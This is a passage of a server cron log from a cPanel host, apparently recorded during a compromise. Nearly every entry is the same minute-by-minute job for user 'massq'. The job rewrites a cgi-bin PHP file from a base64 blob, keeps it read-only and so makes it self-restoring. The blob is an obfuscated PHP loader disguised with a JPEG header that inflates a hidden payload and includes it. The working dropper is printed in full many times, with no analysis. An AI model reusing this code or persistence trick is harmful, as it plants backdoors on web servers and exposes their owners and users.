Nov 10 06:21:01 server CROND[4488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:22:01 server CROND[5302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:23:01 server CROND[6125]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:24:01 server CROND[6884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:25:01 server CROND[7785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:25:01 server CROND[7784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:25:01 server CROND[7787]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:25:01 server CROND[7786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:26:01 server CROND[8712]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:27:01 server CROND[9620]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 06:27:01 server CROND[9621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:28:01 server CROND[10441]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:29:01 server CROND[11313]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:30:01 server CROND[12053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:30:01 server CROND[12055]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 06:30:01 server CROND[12056]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:30:01 server CROND[12054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:31:01 server CROND[12650]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:32:01 server CROND[13356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:33:01 server CROND[13916]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:34:01 server CROND[14457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 